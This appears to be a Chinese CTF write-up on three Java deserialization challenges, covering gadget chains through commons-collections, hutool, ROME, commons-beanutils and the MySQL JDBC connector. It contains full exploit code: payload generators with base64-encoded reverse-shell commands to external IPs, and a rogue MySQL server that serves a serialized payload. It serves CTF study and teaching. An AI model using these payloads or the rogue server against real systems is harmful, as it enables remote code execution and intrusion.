CTF-Java题记录

18 分钟

前言

年底都比较忙,很久没有静下心来打过CTF了,最近Java的各种链子也是接触了不少,于是静下心来打算做点Java类的题目,于是就有了以下的一些记录,还比较少,以后会慢慢的补充。

[CISCN 2023]deserbug

  1. 从附件中可以看到两个依赖,分别是common-colletions-3.2.2hutool-all-5.8.18两个版本,首先能够想到的就是常规的CC链子,需要注意的是这里使用的是CC3.2.2,比我们漏洞百出的3.2.1多了一个小版本,换上这个小版本对之前的东西进行复现发现会出现报错,原因是多了一个checkUnsafeSerialization函数,对序列化的类进行了检查,禁止了以下一些类的序列化。
WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory

在这里插入图片描述

  1. 在看一下源码,只有两个类,一个是MyExpect类,一个是Testapp

     package com.app;
     import java.lang.reflect.Constructor;
     public class Myexpect
       extends Exception {
       private Class[] typeparam;
       private Object[] typearg;
       public Class getTargetclass() {
             return this.targetclass;
       }
       private Class targetclass; public String name; public String anyexcept;
       public void setTargetclass(Class targetclass) {
             this.targetclass = targetclass;
       }
       public Object[] getTypearg() {
             return this.typearg;
       }
       public void setTypearg(Object[] typearg) {
             this.typearg = typearg;
       }
       public Object getAnyexcept() throws Exception {
             Constructor con = this.targetclass.getConstructor(this.typeparam);
             return con.newInstance(this.typearg);
       }
       public void setAnyexcept(String anyexcept) {
             this.anyexcept = anyexcept;
       }
       public Class[] getTypeparam() {
             return this.typeparam;
       }
       public void setTypeparam(Class[] typeparam) {
             this.typeparam = typeparam;
       }
       public String getName() {
             return this.name;
       }
       public void setName(String name) {
             this.name = name;
       }
     }
     package com.app;
     
     import cn.hutool.http.ContentType;
     import cn.hutool.http.HttpUtil;
     import cn.hutool.http.server.HttpServerRequest;
     import cn.hutool.http.server.HttpServerResponse;
     import java.io.ByteArrayInputStream;
     import java.io.IOException;
     import java.io.ObjectInputStream;
     import java.util.Base64;
     
     public class Testapp {
       public static void main(String[] args) {
             HttpUtil.createServer(8888)
               .addAction("/", (request, response) -> {
               String bugstr = request.getParam("bugstr");
               String result = "";
               if (bugstr == null) {
                 response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
               }
               try {
                 byte[] decode = Base64.getDecoder().decode(bugstr);
                 ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                 Object object = inputStream.readObject();
                 result = object.toString();
                   } catch (Exception e) {
                 Myexpect myexpect = new Myexpect();
                 myexpect.setTypeparam(new Class[] { String.class });
                 myexpect.setTypearg((Object[])new String[] { e.toString() });
                 myexpect.setTargetclass(e.getClass());
                 try {
                   result = myexpect.getAnyexcept().toString();
                     } catch (Exception ex) {
                   result = ex.toString();
                 } 
               }
               response.write(result, ContentType.TEXT_PLAIN.toString());
                 }).start();
       }
     }
    看到了getAnyexcept()方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform中的代码类似,很明显是作者故意给的。再看Web页面接收bugstr参数,经过base64解码转化为对象流后直接进行了readObject进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()来触发漏洞,但是怎么触发getAnyexcept()呢?

在这里插入图片描述

这里出题人给了一个提示就是cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,通过hutools中的put返回能够触发getAnyexcept,可能就是与fastjson触发get函数有点相似,通过这里就可以串起整个CC链子,可以通过getAnyexcept实例化TrAXFilter,接而触发templates加载字节码触发RCE。

  public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

接下来的问题就是通过什么来触发cn.hutool.json.JSONObject.put方法,在LazyMap中,存在LazyMap#get是可以触发map.put 方法来触发,因此就可以用CC链串起来了。

HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec

整个payload如下:

package com.app;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;


public class MyPOC {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        JSONObject jsonObject = new JSONObject();
        ConstantTransformer transformer = new ConstantTransformer(1);
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(jsonObject,transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "1");
        jsonObject.remove("111");//if (map.containsKey(key) == false)
        setFieldValue(transformer,"iConstant",myexpect);
        byte[] serialize = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
        
    }

public static  byte[] serialize(Object object) throws IOException {
    ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(object);
    return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
}

尝试下修改一下这题,hutool改成Rome同样也是可以触发,不过需要将Myexpect#setAnyexcept类修改一下,将返回类型与getAnyexcept一致,这样在创建PropertyDescriptor的时候才符合read和write方法类型一致,不产生报错。

    public Object setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
        return null;
    }

Gadget如下:

BadAttributeValueExpException#readObject()->ToStringBean#toString->
        Myexpect#getAnyexcept->TrAXFilter#constructor()
        templatesImpl#newTransformer->templatesImpl#getTransletInstance->
        templatesImpl#defineTransletClasses->newInstance()
package com.app;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;

public class ROMEToCC {
    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        Myexpect myexpect=new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        ToStringBean toStringBean=new ToStringBean(Myexpect.class,myexpect);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        serialize(badAttributeValueExpException);
        unserialize();

//        EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
//        HashMap hashMap=new HashMap();
//        hashMap.put(equalsBean,"111");
//        setFieldValue(equalsBean,"_beanClass",ToStringBean.class);
//        setFieldValue(equalsBean,"_obj",toStringBean);
//        serialize(hashMap);
//        unserialize();
    }

    public static void setFieldValue(Object obj,String field,Object val) throws NoSuchFieldException, IllegalAccessException {
        Field field1=obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj,val);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
}


在这里插入图片描述

[MTCTF2022]easyjava

  1. 看题目附件源码:

    package com.butler.springboot14shiro.MyController;
    
    import com.butler.springboot14shiro.Util.MyObjectInputStream;
    import java.io.ByteArrayInputStream;
    import java.io.InputStream;
    import java.util.Base64;
    import org.apache.shiro.SecurityUtils;
    import org.apache.shiro.authc.IncorrectCredentialsException;
    import org.apache.shiro.authc.UnknownAccountException;
    import org.apache.shiro.authc.UsernamePasswordToken;
    import org.apache.shiro.subject.Subject;
    import org.springframework.stereotype.Controller;
    import org.springframework.ui.Model;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    
    @Controller
    public class HelloController {
        public HelloController() {
        }
    
        @RequestMapping({"/"})
        public String index(Model model) {
            model.addAttribute("msg", "Hello World");
            return "login";
        }
    
        @RequestMapping({"/login"})
        public String login(String username, String password, Model model) {
            Subject subject = SecurityUtils.getSubject();
            UsernamePasswordToken token = new UsernamePasswordToken(username, password);
    
            try {
                subject.login(token);
                return "admin/hello";
            } catch (UnknownAccountException var7) {
                model.addAttribute("msg", "用户名错误");
                return "login";
            } catch (IncorrectCredentialsException var8) {
                model.addAttribute("msg", "密码错误");
                return "login";
            }
        }
    
        @RequestMapping({"/admin/hello"})
        public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {
            try {
                byte[] decode = Base64.getDecoder().decode(data);
                InputStream inputStream = new ByteArrayInputStream(decode);
                MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
                myObjectInputStream.readObject();
            } catch (Exception var6) {
                var6.printStackTrace();
                model.addAttribute("msg", "data=");
            }
    
            return "admin/hello";
        }
    }
    
    很明显,需要进入/admin页面传入data参数来触发反序列化,这里通过Shiro进行了权限认证,但是Shiro的版本是1.5.2 ,查一看这个版本的框架是存在通过;绕过权限认证的漏洞,因此访问/admin/hello的问题就解决了

    在这里插入图片描述

  2. 看一下MyObjectInputStream,发现它重写了ObjectInputStream方法,方法中过滤了四个类,阻止了使用Hibernate反序列化链和Jdbc链子,但是这里是Shiro,内置的BeanComparator并没有被过滤,因此可以打CB链子,注意这里是commons-beanutils1.9.4,做poc的时候也要换成相同的版本,否则是报serializeUID错误。

    package com.butler.springboot14shiro.Util;
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectStreamClass;
    import java.util.ArrayList;
    import java.util.Iterator;
    
    public class MyObjectInputStream extends ObjectInputStream {
        private static ArrayList<String> blackList = new ArrayList();
    
        public MyObjectInputStream(InputStream inputStream) throws Exception {
            super(inputStream);
        }
    
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            Iterator var2 = blackList.iterator();
    
            String s;
            do {
                if (!var2.hasNext()) {
                    return super.resolveClass(desc);
                }
    
                s = (String)var2.next();
            } while(!desc.getName().contains(s));
    
            throw new ClassNotFoundException("Don't hacker!");
        }
    
        static {
            blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
            blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
            blackList.add("java.security.SignedObject");
            blackList.add("com.sun.rowset.JdbcRowSetImpl");
        }
    }
  3. 整个Gadgets如下:

    PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->动态调用类
  4. payload如下:

    package com.app;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import org.springframework.context.annotation.Bean;
    import sun.print.SunPageSelection;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    public class MTCTF2022_easyjava {
        public static void main(String[] args) throws Exception {
            //PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()
            // ->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->动态调用类
            byte[] code=getTemplates();
            byte[][] codes={code};
            TemplatesImpl templates=new TemplatesImpl();
            setFieldValue(templates,"_name","aaa");
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",codes);
            BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
            BeanComparator beanComparator1=new BeanComparator();
            PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
            priorityQueue.add("1");
            priorityQueue.add("2");
            setFieldValue(beanComparator,"property","outputProperties");
            setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
            setFieldValue(priorityQueue,"comparator",beanComparator);
    
            byte[] result=serialize(priorityQueue);
            System.out.println(Base64.getEncoder().encodeToString(result));
    
        }
        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
            objectInputStream.readObject();
        }
    
        public static  byte[] serialize(Object object) throws IOException {
            ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(object);
            return byteArrayOutputStream.toByteArray();
        }
    
        public static void setFieldValue(Object obj, String field, Object val) throws Exception{
            Field dField = obj.getClass().getDeclaredField(field);
            dField.setAccessible(true);
            dField.set(obj, val);
        }
        public static byte[] getTemplates() throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass template = pool.makeClass("Test");
            template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");";
            template.makeClassInitializer().insertBefore(block);
            return template.toBytecode();
        }
    }
    

在这里插入图片描述

[羊城杯 2020]a_piece_of_java

  1. 查看源码,发现在/hello路径能够对Cookie中的data进行反序列化,然后在依赖中看到了CC链子,原本以为可以直接打,在本地打了一波发现报错了,报错HashMap whitelist not match,然后就看到了这里序列化使用的类不一样,使用的是SerialKiller ,好像是可以规范了一些类的使用,看serialkiller.conf看到了只能使用java.lang和gdufs两个路径的类,因此直接打是不成功的。

        @GetMapping({"/hello"})
        public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
            if (cookieData != null && !cookieData.equals("")) {
                Info info = (Info)this.deserialize(cookieData);
                if (info != null) {
                    model.addAttribute("info", info.getAllInfo());
                }
    
                return "hello";
            } else {
                return "redirect:/index";
            }
        }
        private Object deserialize(String base64data) {
            ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
    
            try {
                ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
                Object obj = ois.readObject();
                ois.close();
                return obj;
            } catch (Exception var5) {
                var5.printStackTrace();
                return null;
            }
        }
    <?xml version="1.0" encoding="UTF-8"?>
    <!-- serialkiller.conf -->
    <config>
        <refresh>6000</refresh>
        <mode>
            <!-- set to 'false' for blocking mode -->
            <profiling>false</profiling>
        </mode>
        <blacklist>
    
        </blacklist>
        <whitelist>
            <regexp>gdufs\..*</regexp>
            <regexp>java\.lang\..*</regexp>
        </whitelist>
    </config>
  2. 再找其它依赖发现还有mysql-connect-8.0.19,并且存在jdbc连接,所以这里其实是通过jdbc反序列化通过CC链进行RCE的打法,从connect()可以看到DriverManager.getConnection是可以触发jdbc反序列化,可以通过checkAllInfo触发。

        private void connect() {
            String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
    
            try {
                this.connection = DriverManager.getConnection(url);
            } catch (Exception var3) {
                var3.printStackTrace();
            }
    
        }
    
        public Boolean checkAllInfo() {
            if (this.host != null && this.port != null && this.username != null && this.password != null) {
                if (this.connection == null) {
                    this.connect();
                }
    
                return true;
            } else {
                return false;
            }
        }
  3. checkAllinfo可以在InfoInvocationHandler中看到被调用了,至于怎么调用invoke,这里可以使用动态代理,动态代理底层调用的是InvocationHandler类,调用被代理类的任意方法都会触发它的invoke方法,所以在序列化写入的时候会自动调用invoke方法。

    public class InfoInvocationHandler implements InvocationHandler, Serializable {
        private Info info;
    
        public InfoInvocationHandler(Info info) {
            this.info = info;
        }
    
        public Object invoke(Object proxy, Method method, Object[] args) {
            try {
                return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
            } catch (Exception var5) {
                var5.printStackTrace();
                return null;
            }
        }
    }
    
  4. 因此可以起一个恶意的mysql服务器,进行RCE,github上面搜的mysql恶意服务器如下:

    import socket
    import binascii
    import os
    
    greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
    response_ok_data="0700000200000002000000"
    
    def receive_data(conn):
        data = conn.recv(1024)
        print("[*] Receiveing the package : {}".format(data))
        return str(data).lower()
    
    def send_data(conn,data):
        print("[*] Sending the package : {}".format(data))
        conn.send(binascii.a2b_hex(data))
    
    def get_payload_content():
        #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload 
        file= r'payload'
        if os.path.isfile(file):
            with open(file, 'rb') as f:
                payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
            print("open successs")
    
        else:
            print("open false")
            #calc
            payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
        return payload_content
    
    # 主要逻辑
    def run():
    
        while 1:
            conn, addr = sk.accept()
            print("Connection come from {}:{}".format(addr[0],addr[1]))
    
            # 1.先发送第一个 问候报文
            send_data(conn,greeting_data)
    
            while True:
                # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
                receive_data(conn)
                send_data(conn,response_ok_data)
    
                #其他过程
                data=receive_data(conn)
                #查询一些配置信息,其中会发送自己的 版本号
                if "session.auto_increment_increment" in data:
                    _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                    send_data(conn,_payload)
                    data=receive_data(conn)
                elif "show warnings" in data:
                    _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                    send_data(conn, _payload)
                    data = receive_data(conn)
                if "set names" in data:
                    send_data(conn, response_ok_data)
                    data = receive_data(conn)
                if "set character_set_results" in data:
                    send_data(conn, response_ok_data)
                    data = receive_data(conn)
                if "show session status" in data:
                    mysql_data = '0100000102'
                    mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                    mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                    #获取payload
                    payload_content=get_payload_content()
                    #计算payload长度
                    payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                    payload_length_hex = payload_length[2:4] + payload_length[0:2]
                    #计算数据包长度
                    data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                    data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                    mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                    mysql_data += str(payload_content)
                    mysql_data += '07000005fe000022000100'
                    send_data(conn, mysql_data)
                    data = receive_data(conn)
                if "show warnings" in data:
                    payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                    send_data(conn, payload)
                break
    
    
    if __name__ == '__main__':
        HOST ='0.0.0.0'
        PORT = 3309
        sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
        sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sk.bind((HOST, PORT))
        sk.listen(1)
        print("start fake mysql server listening on {}:{}".format(HOST,PORT))
        run()
  5. 然后使用ysoserial生成CC链子写入payload里面,通过CookieData即可成功

    package gdufs.challenge.web;
    
    import gdufs.challenge.web.invocation.InfoInvocationHandler;
    import gdufs.challenge.web.model.DatabaseInfo;
    import gdufs.challenge.web.model.Info;
    
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Proxy;
    import java.util.Base64;
    
    public class exp {
        public static void main(String[] args) throws Exception{
            DatabaseInfo databaseInfo = new DatabaseInfo();
            databaseInfo.setHost("120.79.29.170");
            databaseInfo.setPort("3309");
            databaseInfo.setUsername("root");
            databaseInfo.setPassword("123123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
            InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
            Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(info);
            oos.close();
            System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    
        }
    
    }
    
    

    在这里插入图片描述

至于mysql-connect8版本中的jdbc反序列化整个流程的简单分析如下:

  1. 首先会进入NonRegisteringDriver#connect方法实例化一个ConnectionImpl

在这里插入图片描述

  1. 经过一系列的初始化进入到ConnectionImpl#createNewIO方法中,如果autoReconnect获取不到值,进入connectOneTryOnly方法

    在这里插入图片描述

  2. 随后就会设置对mysql服务器进行连接,然后设置Interceptors为payload中的ServerStatusDiffInterceptor

    在这里插入图片描述

  3. 如果设置的queryInterceptors不为空,会进入NaticeProtol#invokeQueryInterceptorsPre中触发NoSubInterceptorWrapper#preProcess进行拦截,preProcess会进入到ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法,执行Show SESSION STATUS查询后将结果存储到toPopluate中。

在这里插入图片描述

  1. 最终会进入ResultSetImpl#getObject方法中,当columnIndex=2时,会执行后面的代码,判断MySQL类型为BLOB后,从MySQL服务端中获取对应的字节码数据、并且当`autoDeserialize,就会将获取到的字节码数据反序列化。

     case BLOB:
                    if (field.isBinary() || field.isBlob()) {
                        byte[] data = getBytes(columnIndex);
                        if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                            Object obj = data;
                            if ((data != null) && (data.length >= 2)) {
                                if ((data[0] == -84) && (data[1] == -19)) {
                                    try {
                                        ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                        ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                        obj = objIn.readObject();
                                        objIn.close();
                                        bytesIn.close();
                                    } catch (ClassNotFoundException cnfe) {
                                        throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                                + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                                    } catch (IOException ex) {
                                        obj = data; // not serialized?
                                    }
                                } else {
                                    return getString(columnIndex);
                                }
